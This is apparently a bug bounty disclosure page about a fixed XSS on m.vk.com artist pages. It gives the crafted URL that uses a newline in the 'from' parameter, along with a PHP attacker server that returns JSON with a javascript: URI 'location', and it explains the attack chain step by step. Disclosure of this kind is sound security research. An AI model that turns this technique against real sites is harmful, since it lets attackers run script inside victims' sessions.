[m.vk.com] XSS на страницах /artist/
The 'from' parameter on the artist page was not properly validated, allowing an attacker to inject a newline and an external URL into the 'Back' link. When a victim clicked the link, an AJAX request was sent to the attacker's server, which returned a JSON response with a 'location' key set to a javascript: URI, leading to XSS.
- Triaged in 3 hours
- Fixed in 11 days
- Paid in 44 days
- Disclosed after 8 months
Summary by the program
XSS при возвращении со страницы артиста.
Summary by the researcher
Insufficient validation of the from parameter at the artist page allowed the attacker to inject external URLs into the "Back" link using the LF char:
https://m.vk.com/artist/marduk?from=%0A/external.com
<a href="/ /external.com" rel="noopener" title="Назад" onclick="return !nav.backToTabHistory(this);">
When clicked, an ajax request to its URL was sent. In case the response had JSON type, and the location key existed, its value was used as a redirection target, which allowed the attacker to perform XSS via the javascript: URI scheme:
<?php
header ('Access-Control-Allow-Origin: *');
header ('Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, HEAD');
header ('Access-Control-Allow-Headers: Authorization, x-requested-with, x-ajax-nav');
header ('Content-Type: application/json');
http_response_code (201);
echo '{
"location":"javascript:alert(document.domain)",
"hard":1,
"version":"a3e370d711eed8a936b9fda7cdd428604668e845eaded4beefd7e7032ded0cf4",
"counters":[0,0,0,0,0,0,0,0,0,0,0,0,0,0],
"type":1
}';
?>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Victim clicks a crafted link; attacker controls a server
How it was found
- Craft a URL with a newline and an external domain in the 'from' parameter.
- The page renders a 'Back' link pointing to the external domain.
- The victim clicks the 'Back' link, triggering an AJAX request to the attacker's server.
- The attacker's server responds with JSON containing a 'location' key set to a javascript: URI.
- The application uses that value as a redirect target, executing the JavaScript in the victim's browser.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The website had a 'Back' button that used a value from the web address to decide where to go. The site did not check that value properly, so an attacker could make the button point to their own server. When a victim clicked it, the attacker's server sent back a special instruction that made the browser run malicious code on the victim's account.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.